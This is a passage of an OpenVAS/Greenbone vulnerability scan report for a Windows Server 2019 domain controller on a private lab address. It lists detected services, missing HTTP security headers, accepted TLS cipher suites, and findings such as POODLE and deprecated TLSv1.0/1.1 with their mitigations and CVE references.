  If you think any of this information is wrong please report it to the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.111038		2022-03-24T09:16:49Z		Log		0		80				The Hostname/IP "192.168.186.128" was used to access the remote host.



Generic web application scanning is disabled for this host via the "Enable generic web application scanning" option within the "Global variable settings" of the scan config in use.



Requests to this service are done via HTTP/1.1.



This service seems to be able to host PHP scripts.



This service seems to be able to host ASP scripts.



The User-Agent "Mozilla/5.0 [en] (X11, U; OpenVAS-VT 21.4.4)" was used to access the remote host.



Historic /scripts and /cgi-bin are not added to the directories used for CGI scanning. You can enable this again with the "Add historic /scripts and /cgi-bin to directories for CGI scanning" option within the "Global variable settings" of the scan config in use.



The following directories were used for CGI scanning:



https://192.168.186.128/



While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards		Log		0		bf198f2e-d757-4813-a77d-85295bbf2651		url		https://community.greenbone.net/c/vulnerability-tests

		SMB/CIFS Server Detection		admin		2022-07-26T17:23:19Z				2022-07-26T17:23:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		445/tcp		nvt		SMB/CIFS Server Detection		Service detection		0				2006-03-26T16:10:09Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script detects whether port 445 and 139 are open and

  if they are running a CIFS/SMB server.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.11011		2020-11-10T15:30:28Z		Log		0		80				A CIFS server is running on this port		Log		0		b83ea7a0-0276-41c4-a5e8-767eea8731d8

		SMB Remote Version Detection		admin		2022-07-26T18:05:02Z				2022-07-26T18:05:02Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		445/tcp		nvt		SMB Remote Version Detection		Service detection		0				2016-06-08T03:44:21Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Detection of Server Message Block(SMB).



  This script sends SMB Negotiation request and try to get the version from the

  response.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.807830		2019-05-16T07:13:31Z		Log		0		80				Only SMBv2 is enabled on remote target		Log		0		b7566dc1-85c5-4591-87ab-56e5514a50b7

		Unknown OS and Service Banner Reporting		admin		2022-07-26T19:02:42Z				2022-07-26T19:02:42Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		464/tcp		nvt		Unknown OS and Service Banner Reporting		Service detection		0				2018-05-02T08:53:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This NVT consolidates and reports the information collected by

  the following NVTs:



  - Collect banner of unknown services (OID: 1.3.6.1.4.1.25623.1.0.11154)



  - Service Detection (unknown) with nmap (OID: 1.3.6.1.4.1.25623.1.0.66286)



  - Service Detection (wrapped) with nmap (OID: 1.3.6.1.4.1.25623.1.0.108525)



  - OS Detection Consolidation and Reporting (OID: 1.3.6.1.4.1.25623.1.0.105937)



  If you know any of the information reported here, please send the full output to

  the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108441		2019-01-03T20:41:17Z		Log		0		80				Nmap service detection (unknown) result for this port: kpasswd5



This is a guess. A confident identification of the service was not possible.



Hint: If you're running a recent nmap version try to run nmap with the following command: 'nmap -sV -Pn -p 464 192.168.186.128' and submit a possible collected fingerprint to the nmap database.		Log		0		baa8272e-789b-4475-85bd-1cbfa9d3b40d		url		https://community.greenbone.net/c/vulnerability-tests

		DNS Server Detection (TCP)		admin		2022-07-26T17:26:25Z				2022-07-26T17:26:25Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		53/tcp		nvt		DNS Server Detection (TCP)		Service detection		0				2009-03-22T16:08:49Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=TCP based detection of a DNS server.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108018		2021-11-30T08:05:58Z		Log		0		80						Log		0		2ffe2b65-784c-4c87-afa1-26794254b82b

		HTTP Server Banner Enumeration		admin		2022-07-26T18:58:32Z				2022-07-26T18:58:32Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		HTTP Server Banner Enumeration		Service detection		0				2020-02-04T08:19:51Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script tries to detect / enumerate different HTTP server banner (e.g. from a

  frontend, backend or proxy server) by sending various different HTTP requests (valid and invalid ones).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108708		2021-01-11T11:29:35Z		Log		0		80				It was possible to enumerate the following HTTP server banner(s):



Server banner                 | Enumeration technique

---------------------------------------------------------------------------

Server: Microsoft-HTTPAPI/2.0 | Valid HTTP 0.9 GET request to '/index.html'		Log		0		9b1ec20b-546f-4208-ba88-081587cd9ddb

		WinRM Detection		admin		2022-07-26T18:12:28Z				2022-07-26T18:12:28Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		WinRM Detection		Service detection		0				2014-03-19T11:39:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Windows Remote Management (WinRM) is running at this port.



  Windows Remote Management (WinRM) is the Microsoft implementation of

  WS-Management Protocol, a standard Simple Object Access Protocol (SOAP)-based,

  firewall-friendly protocol that allows hardware and operating systems,

  from different vendors, to interoperate.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103923		2020-11-10T15:30:28Z		Log		0		80						Log		0		2d5d6093-e14d-4367-b8c3-52d764b4bb3e

		HTTP Security Headers Detection		admin		2022-07-26T20:53:48Z				2022-07-26T20:53:48Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		HTTP Security Headers Detection		Web application abuses		0				2017-10-13T11:12:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=All known security headers are being checked on the remote web

  server.



  On completion a report will hand back whether a specific security header has been implemented

  (including its value and if it is deprecated) or is missing on the target.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.112081		2021-07-14T06:19:43Z		Log		0		80				Missing Headers                   | More Information

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Content-Security-Policy           | https://owasp.org/www-project-secure-headers/#content-security-policy

Cross-Origin-Embedder-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Opener-Policy        | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Resource-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Document-Policy                   | https://w3c.github.io/webappsec-feature-policy/document-policy#document-policy-http-header

Feature-Policy                    | https://owasp.org/www-project-secure-headers/#feature-policy, Note: The Feature Policy header has been renamed to Permissions Policy

Permissions-Policy                | https://w3c.github.io/webappsec-feature-policy/#permissions-policy-http-header-field

Referrer-Policy                   | https://owasp.org/www-project-secure-headers/#referrer-policy

Sec-Fetch-Dest                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Mode                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Site                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-User                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

X-Content-Type-Options            | https://owasp.org/www-project-secure-headers/#x-content-type-options

X-Frame-Options                   | https://owasp.org/www-project-secure-headers/#x-frame-options

X-Permitted-Cross-Domain-Policies | https://owasp.org/www-project-secure-headers/#x-permitted-cross-domain-policies

X-XSS-Protection                  | https://owasp.org/www-project-secure-headers/#x-xss-protection, Note: Most major browsers have dropped / deprecated support for this header in 2020.		Log		0		dc27c408-493c-47d7-8af2-187f4e800541		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-secure-headers/#div-headers		url		https://securityheaders.com/

		CGI Scanning Consolidation		admin		2022-07-26T20:09:04Z				2022-07-26T20:09:04Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		CGI Scanning Consolidation		Web application abuses		0				2015-09-14T05:00:00Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The script consolidates various information for CGI scanning.



  This information is based on the following scripts / settings:



  - HTTP-Version Detection (OID: 1.3.6.1.4.1.25623.1.0.100034)



  - No 404 check (OID: 1.3.6.1.4.1.25623.1.0.10386)



  - Web mirroring / webmirror.nasl (OID: 1.3.6.1.4.1.25623.1.0.10662)



  - Directory Scanner / DDI_Directory_Scanner.nasl (OID: 1.3.6.1.4.1.25623.1.0.11032)



  - The configured 'cgi_path' within the 'Scanner Preferences' of the scan config in use



  - The configured 'Enable CGI scanning', 'Enable generic web application scanning' and

    'Add historic /scripts and /cgi-bin to directories for CGI scanning' within the

    'Global variable settings' of the scan config in use



  If you think any of this information is wrong please report it to the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.111038		2022-03-24T09:16:49Z		Log		0		80				The Hostname/IP "192.168.186.128" was used to access the remote host.



Generic web application scanning is disabled for this host via the "Enable generic web application scanning" option within the "Global variable settings" of the scan config in use.



Requests to this service are done via HTTP/1.1.



This service seems to be able to host PHP scripts.



This service seems to be able to host ASP scripts.



The User-Agent "Mozilla/5.0 [en] (X11, U; OpenVAS-VT 21.4.4)" was used to access the remote host.



Historic /scripts and /cgi-bin are not added to the directories used for CGI scanning. You can enable this again with the "Add historic /scripts and /cgi-bin to directories for CGI scanning" option within the "Global variable settings" of the scan config in use.



The following directories were used for CGI scanning:



http://192.168.186.128:5985/



While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards		Log		0		f6d35c25-89f9-4ff7-bcc4-8905a380b95f		url		https://community.greenbone.net/c/vulnerability-tests

		Services		admin		2022-07-26T17:21:39Z				2022-07-26T17:21:39Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A web server is running on this port		Log		0		24eb875f-2471-47c3-aebd-c668ce4be861

		HTTP Server type and version		admin		2022-07-26T18:58:42Z				2022-07-26T18:58:42Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		5985/tcp		nvt		HTTP Server type and version		Service detection		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script detects and reports the HTTP Server's banner

  which might provide the type and version of it.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10107		2020-08-24T15:18:35Z		Log		0		80				The remote HTTP Server banner is:



Server: Microsoft-HTTPAPI/2.0		Log		0		d650cad0-1af7-430f-b677-2ca9cd2c4ad8

		LDAP Detection		admin		2022-07-26T17:26:00Z				2022-07-26T17:26:00Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		LDAP Detection		Service detection		0				2009-03-27T11:39:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=A LDAP Server is running at this host.



  The Lightweight Directory Access Protocol, or LDAP is an application

  protocol for querying and modifying directory services running over

  TCP/IP.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.100082		2020-11-10T15:30:28Z		Log		0		80				The LDAP Server supports LDAPv3.		Log		0		afbffff4-28c0-426c-96a9-ec10913748a5

		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		SSL and TLS		3.4		NVD		2021-06-16T12:15:00Z		3.4		CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N		cvss_base_v3		3.4		cvss_base_vector=CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N|summary=This host is prone to an information disclosure vulnerability.|insight=The flaw is due to the block cipher padding not being deterministic and not covered by the Message Authentication Code|affected=|impact=Successful exploitation will allow a  man-in-the-middle attackers gain access to the plain text data stream.|solution=Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+|vuldetect=Evaluate previous collected information about this service.|solution_type=Mitigation		Mitigation		Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+		1.3.6.1.4.1.25623.1.0.802087		2022-04-14T11:24:11Z		Low		3.4		80						Low		3.4		76036c24-6081-451c-bd82-c41c7b02731d		cve		CVE-2014-3566		url		https://www.openssl.org/~bodo/ssl-poodle.pdf		url		http://www.securityfocus.com/bid/70574		url		https://www.imperialviolet.org/2014/10/14/poodle.html		url		https://www.dfranke.us/posts/2014-10-14-how-poodle-happened.html		url		http://googleonlinesecurity.blogspot.in/2014/10/this-poodle-bites-exploiting-ssl-30.html		cert-bund		CB-K17/1198		cert-bund		CB-K17/1196		cert-bund		CB-K16/1828		cert-bund		CB-K16/1438		cert-bund		CB-K16/1384		cert-bund		CB-K16/1102		cert-bund		CB-K16/0599		cert-bund		CB-K16/0156		cert-bund		CB-K15/1514		cert-bund		CB-K15/1358		cert-bund		CB-K15/1021		cert-bund		CB-K15/0972		cert-bund		CB-K15/0637		cert-bund		CB-K15/0590		cert-bund		CB-K15/0525		cert-bund		CB-K15/0393		cert-bund		CB-K15/0384		cert-bund		CB-K15/0287		cert-bund		CB-K15/0252		cert-bund		CB-K15/0246		cert-bund		CB-K15/0237		cert-bund		CB-K15/0118		cert-bund		CB-K15/0110		cert-bund		CB-K15/0108		cert-bund		CB-K15/0080		cert-bund		CB-K15/0078		cert-bund		CB-K15/0077		cert-bund		CB-K15/0075		cert-bund		CB-K14/1617		cert-bund		CB-K14/1581		cert-bund		CB-K14/1537		cert-bund		CB-K14/1479		cert-bund		CB-K14/1458		cert-bund		CB-K14/1342		cert-bund		CB-K14/1314		cert-bund		CB-K14/1313		cert-bund		CB-K14/1311		cert-bund		CB-K14/1304		cert-bund		CB-K14/1296		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1236		dfn-cert		DFN-CERT-2016-1929		dfn-cert		DFN-CERT-2016-1527		dfn-cert		DFN-CERT-2016-1468		dfn-cert		DFN-CERT-2016-1168		dfn-cert		DFN-CERT-2016-0884		dfn-cert		DFN-CERT-2016-0642		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2016-0171		dfn-cert		DFN-CERT-2015-1431		dfn-cert		DFN-CERT-2015-1075		dfn-cert		DFN-CERT-2015-1026		dfn-cert		DFN-CERT-2015-0664		dfn-cert		DFN-CERT-2015-0548		dfn-cert		DFN-CERT-2015-0404		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0259		dfn-cert		DFN-CERT-2015-0254		dfn-cert		DFN-CERT-2015-0245		dfn-cert		DFN-CERT-2015-0118		dfn-cert		DFN-CERT-2015-0114		dfn-cert		DFN-CERT-2015-0083		dfn-cert		DFN-CERT-2015-0082		dfn-cert		DFN-CERT-2015-0081		dfn-cert		DFN-CERT-2015-0076		dfn-cert		DFN-CERT-2014-1717		dfn-cert		DFN-CERT-2014-1680		dfn-cert		DFN-CERT-2014-1632		dfn-cert		DFN-CERT-2014-1564		dfn-cert		DFN-CERT-2014-1542		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2014-1366		dfn-cert		DFN-CERT-2014-1354

		SSL/TLS: Report Medium Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Report Medium Cipher Suites		SSL and TLS		0				2012-03-07T08:44:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Medium SSL/TLS cipher suites accepted

  by a service.|insight=Any cipher suite considered to be secure for only the next 10

  years is considered as medium.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.902816		2021-12-01T13:10:37Z		Log		0		98				'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		d5dec5d8-d2bc-4267-bc9f-64b94dd879d9

		Services		admin		2022-07-26T17:21:39Z				2022-07-26T17:21:39Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A TLScustom server answered on this port		Log		0		d60944a6-2895-4fa9-95ef-6d75db5e0f80

		SSL/TLS: Report Non Weak Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Report Non Weak Cipher Suites		SSL and TLS		0				2012-03-01T16:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Non Weak SSL/TLS cipher suites

  accepted by a service.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103441		2021-12-01T09:24:41Z		Log		0		98				'Non Weak' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		9b76da68-d2b3-47c1-bb54-ff40ce7338a6

		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		636/tcp		nvt		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		SSL and TLS		4.3				2021-03-25T10:41:42Z		4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N		cvss_base_v2		4.3		cvss_base_vector=AV:N/AC:M/Au:N/C:P/I:N/A:N|summary=It was possible to detect the usage of the deprecated TLSv1.0

  and/or TLSv1.1 protocol on this system.|insight=The TLSv1.0 and TLSv1.1 protocols contain known cryptographic

  flaws like:



  - CVE-2011-3389: Browser Exploit Against SSL/TLS (BEAST)



  - CVE-2015-0204: Factoring Attack on RSA-EXPORT Keys Padding Oracle On Downgraded Legacy

  Encryption (FREAK)|affected=All services providing an encrypted communication using the

  TLSv1.0 and/or TLSv1.1 protocols.|impact=An attacker might be able to use the known cryptographic flaws

  to eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.|vuldetect=Check the used TLS protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.		1.3.6.1.4.1.25623.1.0.117274		2021-07-19T08:11:48Z		Medium		4.3		98				In addition to TLSv1.2+ the service is also providing the deprecated TLSv1.0 and TLSv1.1 protocols and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.		Medium		4.3		796c4bc8-0fd8-4f3d-9623-907056ea8950		cve		CVE-2011-3389		cve		CVE-2015-0204		url		https://ssl-config.mozilla.org/		url		https://bettercrypto.org/		url		https://datatracker.ietf.org/doc/rfc8996/		url		https://vnhacker.blogspot.com/2011/09/beast.html		url		https://web.archive.org/web/20201108095603/https://censys.io/blog/freak		url		https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014		cert-bund		CB-K18/0799		cert-bund		CB-K16/1289		cert-bund		CB-K16/1096		cert-bund		CB-K15/1751		cert-bund		CB-K15/1266		cert-bund		CB-K15/0850		cert-bund		CB-K15/0764		cert-bund		CB-K15/0720		cert-bund		CB-K15/0548		cert-bund		CB-K15/0526		cert-bund		CB-K15/0509		cert-bund		CB-K15/0493		cert-bund		CB-K15/0384		cert-bund		CB-K15/0365		cert-bund		CB-K15/0364		cert-bund		CB-K15/0302		cert-bund		CB-K15/0192		cert-bund		CB-K15/0079		cert-bund		CB-K15/0016		cert-bund		CB-K14/1342		cert-bund		CB-K14/0231		cert-bund		CB-K13/0845		cert-bund		CB-K13/0796		cert-bund		CB-K13/0790		dfn-cert		DFN-CERT-2020-0177		dfn-cert		DFN-CERT-2020-0111		dfn-cert		DFN-CERT-2019-0068		dfn-cert		DFN-CERT-2018-1441		dfn-cert		DFN-CERT-2018-1408		dfn-cert		DFN-CERT-2016-1372		dfn-cert		DFN-CERT-2016-1164		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2015-1853		dfn-cert		DFN-CERT-2015-1332		dfn-cert		DFN-CERT-2015-0884		dfn-cert		DFN-CERT-2015-0800		dfn-cert		DFN-CERT-2015-0758		dfn-cert		DFN-CERT-2015-0567		dfn-cert		DFN-CERT-2015-0544		dfn-cert		DFN-CERT-2015-0530		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0375		dfn-cert		DFN-CERT-2015-0374		dfn-cert		DFN-CERT-2015-0305		dfn-cert		DFN-CERT-2015-0199		dfn-cert		DFN-CERT-2015-0079		dfn-cert		